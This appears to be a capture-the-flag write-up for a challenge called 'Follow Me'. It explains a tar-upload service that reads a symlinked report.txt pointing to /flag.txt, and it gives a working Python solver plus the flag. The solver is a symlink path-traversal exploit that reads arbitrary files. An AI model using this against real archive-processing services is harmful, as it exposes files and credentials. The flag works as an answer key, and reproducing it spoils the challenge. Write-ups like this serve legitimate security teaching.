Follow Me

Walkthrough

The service accepts one tar member named report.txt. It checks the member's name and size, extracts it, then reads the resulting path.

The missing check is the member type and link target. A symbolic link named report.txt that points to /flag.txt passes validation, and read_text() follows it.

Run locally:

docker compose up --build
python3 solver.py 127.0.0.1 9044

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

import base64
import io
import socket
import sys
import tarfile


output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w") as archive:
    report = tarfile.TarInfo("report.txt")
    report.type = tarfile.SYMTYPE
    report.linkname = "/flag.txt"
    archive.addfile(report)

payload = base64.b64encode(output.getvalue()[: 3 * tarfile.BLOCKSIZE])

if len(sys.argv) == 1:
    print(payload.decode())
    raise SystemExit
if len(sys.argv) != 3:
    raise SystemExit(f"usage: {sys.argv[0]} [host port]")

with socket.create_connection((sys.argv[1], int(sys.argv[2]))) as sock:
    banner = b""
    while b"archive> " not in banner:
        banner += sock.recv(4096)
    sock.sendall(payload + b"\n")
    while data := sock.recv(4096):
        sys.stdout.buffer.write(data)

Flag

Securinets{f0ll0w_th3_l1nk_n0t_th3_n4m3}